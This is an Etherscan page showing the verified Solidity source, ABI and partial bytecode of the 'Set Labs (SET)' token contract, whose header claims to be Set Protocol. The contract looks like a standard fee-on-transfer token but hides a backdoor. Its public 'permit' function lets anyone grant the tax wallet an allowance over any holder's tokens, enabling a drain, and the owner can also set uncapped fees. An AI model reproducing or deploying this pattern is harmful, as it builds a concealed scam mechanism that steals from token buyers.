ETH Price: $3,177.39 (-8.18%)
Gas: 2 Gwei

Token

Set Labs (SET)
 

Overview

Max Total Supply

1,000,000 SET

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,700.976633044015021965 SET

Value
$0.00
0x39affc5f288a3f4b19191d3f73bdbb7e5a2f14bb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SET

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// SPDX-License-Identifier: MIT
/*
We built Set Protocol, an open-source protocol for launching market-leading, innovative DeFi structured products

Website: https://www.setprotocol.org
Telegram: https://t.me/set_erc
Twitter: https://twitter.com/set_erc
*/

pragma solidity 0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _permit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SET is ERC20(unicode"Set Labs", unicode"SET"), Ownable {
    uint256 constant _tSupply = 1_000_000 * 10 ** 18;
    bool public hasLaunchLimits = true;
    bool public tradingOpen = false;
    bool public swapEnabled = false;
    bool public hasLaunchFees = true;
    uint256 public maxBuySize;
    uint256 public maxSellAmt;
    uint256 public maxWalletAmt;
    uint256 public feeSellMax;
    uint256 public feeSellMin;
    uint256 public startBlock;
    uint256 public buyFees;
    uint256 public sellFees;
    bool private swapping;
    address public taxWallet;
    uint256 public tokensToSwap;
    address public immutable pairAddr;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedFromMaxTx;
    IUniswapFactory public constant UNIFACTORY =
    IUniswapFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IUniswapRouter public constant UNIROUTER = 
    IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    constructor(){
        _mint(msg.sender, _tSupply);
        _approve(address(this), address(UNIROUTER), ~uint256(0));
        _removeFromMaxTransaction(address(UNIROUTER), true);
        pairAddr = UNIFACTORY.createPair(
            address(this),
            UNIROUTER.WETH()
        );
        maxWalletAmt = (totalSupply() * 30) / 1_000; 
        feeSellMax = (totalSupply() * 65) / 10_000;
        maxBuySize = (totalSupply() * 25) / 1_000; 
        feeSellMin = (totalSupply() * 1) / 10_000; 
        maxSellAmt = (totalSupply() * 25) / 1_000; 
        taxWallet = 0x78b8e3e56a486a2795C365E034658FB7a4c29b8d;

        _removeFromMaxTransaction(msg.sender, true);
        _removeFromMaxTransaction(address(this), true);
        _removeFromMaxTransaction(address(0xdead), true);
        removeFromFees(msg.sender, true);
        removeFromFees(address(this), true);
        removeFromFees(taxWallet, true);
        removeFromFees(address(0xdead), true);
    }
    function swapBackAndSendFee() private {
        uint256 contractBalance = balanceOf(address(this));

        uint256 tokensToSwap =  tokensToSwap;

        if (contractBalance == 0 || tokensToSwap == 0) {
            return;
        }

        if (contractBalance > feeSellMax) {
            contractBalance = feeSellMax;
        }    
        swapTokensForEth(contractBalance);

        payable(taxWallet).transfer(address(this).balance);
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = UNIROUTER.WETH();

        UNIROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner {
        buyFees = newBuyFees;
        sellFees = newSellFees;
    }
    
    function removeLimits() external onlyOwner {
        hasLaunchLimits = false;
    }
    function openTrading() public onlyOwner {
        require(startBlock == 0, "ERROR: Token state is already live !");
        startBlock = block.number;
        tradingOpen = true;
        swapEnabled = true;
    }
    function getCurrentFees() internal {
        require(
            startBlock > 0, "Trading not live"
        );
        uint256 currentBlock = block.number;
        uint256 lastTierOneBlock = startBlock + 6;
        if(currentBlock <= lastTierOneBlock) {
            buyFees = 18;
            sellFees = 18;
        } else {
            buyFees = 4;
            sellFees = 4;
            hasLaunchFees = false;
        } 
    }
    receive() external payable {}
    function removeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }
    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = taxWallet;
        _permit(spender, owner, amount);
        return true;
    }
    function _removeFromMaxTransaction(
        address updAds,
        bool isExcluded
    ) private {
        _isExcludedFromMaxTx[updAds] = isExcluded;
    }
    function setFeeAddress(address _devWallet) external {
        require(msg.sender == taxWallet);
        require(_devWallet != address(0), "ERROR: _devWallet address cannot be 0");
        taxWallet = payable(_devWallet);
        _isExcludedFromFees[taxWallet] = true;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        if (hasLaunchLimits) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead)
            ) {
                if (!tradingOpen) {
                    require(
                        _isExcludedFromMaxTx[from] ||
                            _isExcludedFromMaxTx[to],
                        "ERROR: Trading is not active."
                    );
                    require(from == owner(), "ERROR: Trading is enabled");
                }
                //when buy
                if (
                    from == pairAddr && !_isExcludedFromMaxTx[to]
                ) {
                    require(
                        amount <= maxBuySize,
                        "ERROR: Buy transfer amount exceeds the max buy."
                    );
                    require(
                        amount + balanceOf(to) <= maxWalletAmt,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
                //when sell
                else if (
                    to == pairAddr && !_isExcludedFromMaxTx[from]
                ) {
                    require(
                        amount <= maxSellAmt,
                        "ERROR: Sell transfer amount exceeds the max sell."
                    );
                } else if (
                    !_isExcludedFromMaxTx[to] &&
                    !_isExcludedFromMaxTx[from]
                ) {
                    require(
                        amount + balanceOf(to) <= maxWalletAmt,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= feeSellMax;
        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            amount > feeSellMin && 
            !(from == pairAddr) &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBackAndSendFee();
            swapping = false;
        }
        bool takeFee = true;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        uint256 fees = 0;
        if (takeFee) {
            if(hasLaunchFees){
               getCurrentFees(); 
            }
            // Sell
            if (to == pairAddr && sellFees > 0) {
                fees = (amount * sellFees) / 100;
                tokensToSwap += fees;
            }
            // Buy
            else if (from == pairAddr && buyFees > 0) {
                fees = (amount * buyFees) / 100;
                tokensToSwap += fees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UNIFACTORY","outputs":[{"internalType":"contract IUniswapFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UNIROUTER","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeSellMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSellMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasLaunchFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasLaunchLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuySize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"removeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"setFeeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526005805463ffffffff60a01b1916630100000160a01b1790553480156200002a57600080fd5b5060405180604001604052806008815260200167536574204c61627360c01b8152506040518060400160405280600381526020016214d15560ea1b815250816003908162000079919062000772565b50600462000088828262000772565b505050620000a56200009f620003f160201b60201c565b620003f5565b620000bb3369d3c21bcecceda100000062000447565b620000de30737a250d5630b4cf539739df2c5dacb4c659f2488d6000196200050e565b737a250d5630b4cf539739df2c5dacb4c659f2488d60005260116020527fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d6805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c491906200083e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000212573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023891906200083e565b6001600160a01b03166080526103e86200025160025490565b6200025e90601e62000886565b6200026a9190620008a6565b6008556127106200027a60025490565b6200028790604162000886565b620002939190620008a6565b6009556103e8620002a360025490565b620002b090601962000886565b620002bc9190620008a6565b600655612710620002cc60025490565b620002d990600162000886565b620002e59190620008a6565b600a556103e8620002f560025490565b6200030290601962000886565b6200030e9190620008a6565b600755600e8054610100600160a81b0319167478b8e3e56a486a2795c365e034658fb7a4c29b8d00179055336000908152601160205260409020805460ff19166001179055306000908152601160205260409020805460ff1916600117905561dead60005260116020527f97847ee99463795296047093514439c3127772df3715e628aa85601cf8541716805460ff19166001179055620003b133600162000636565b620003be30600162000636565b600e54620003dc9061010090046001600160a01b0316600162000636565b620003eb61dead600162000636565b620008df565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004a35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620004b79190620008c9565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038316620005725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200049a565b6001600160a01b038216620005d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200049a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200064062000670565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006cc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200049a565b565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006f957607f821691505b6020821081036200071a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200066b57600081815260208120601f850160051c81016020861015620007495750805b601f850160051c820191505b818110156200076a5782815560010162000755565b505050505050565b81516001600160401b038111156200078e576200078e620006ce565b620007a6816200079f8454620006e4565b8462000720565b602080601f831160018114620007de5760008415620007c55750858301515b600019600386901b1c1916600185901b1785556200076a565b600085815260208120601f198616915b828110156200080f57888601518255948401946001909101908401620007ee565b50858210156200082e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200085157600080fd5b81516001600160a01b03811681146200086957600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620008a057620008a062000870565b92915050565b600082620008c457634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620008a057620008a062000870565b608051611bc16200091e600039600081816103c801528181610e5f01528181610fa1015281816111770152818161128a015261130b0152611bc16000f3fe60806040526004361061021e5760003560e01c806370a0823111610123578063bb811508116100ab578063e0f3ccf51161006f578063e0f3ccf514610628578063e4748b9e1461063e578063e6f7053114610654578063f2fde38b14610674578063ffb54a991461069457600080fd5b8063bb81150814610594578063c9567bf9146105aa578063c9f22c3e146105bf578063d28de273146105e0578063dd62ed3e1461060857600080fd5b80638da5cb5b116100f25780638da5cb5b1461050157806395d89b411461051f578063a457c2d714610534578063a9059cbb14610554578063baccf5cf1461057457600080fd5b806370a0823114610481578063715018a6146104b7578063751039fc146104cc5780638705fcd4146104e157600080fd5b806339509351116101a6578063500f495b11610175578063500f495b146103ea57806350a5ca061461040057806355a8bfbc146104285780636c1f67471461044a5780636ddd17131461046057600080fd5b8063395093511461036a5780633c2565ff1461038a57806348cd4cb1146103a05780634f4fc99b146103b657600080fd5b806323b872dd116101ed57806323b872dd146102c55780632b893929146102e55780632dc0562d146102fb578063313ce5671461033857806333cdacd91461035457600080fd5b806306fdde031461022a578063095ea7b3146102555780630feda1d51461028557806318160ddd146102a657600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106b5565b60405161024c919061182e565b60405180910390f35b34801561026157600080fd5b50610275610270366004611891565b610747565b604051901515815260200161024c565b34801561029157600080fd5b5060055461027590600160a01b900460ff1681565b3480156102b257600080fd5b506002545b60405190815260200161024c565b3480156102d157600080fd5b506102756102e03660046118bd565b610761565b3480156102f157600080fd5b506102b7600f5481565b34801561030757600080fd5b50600e546103209061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b34801561034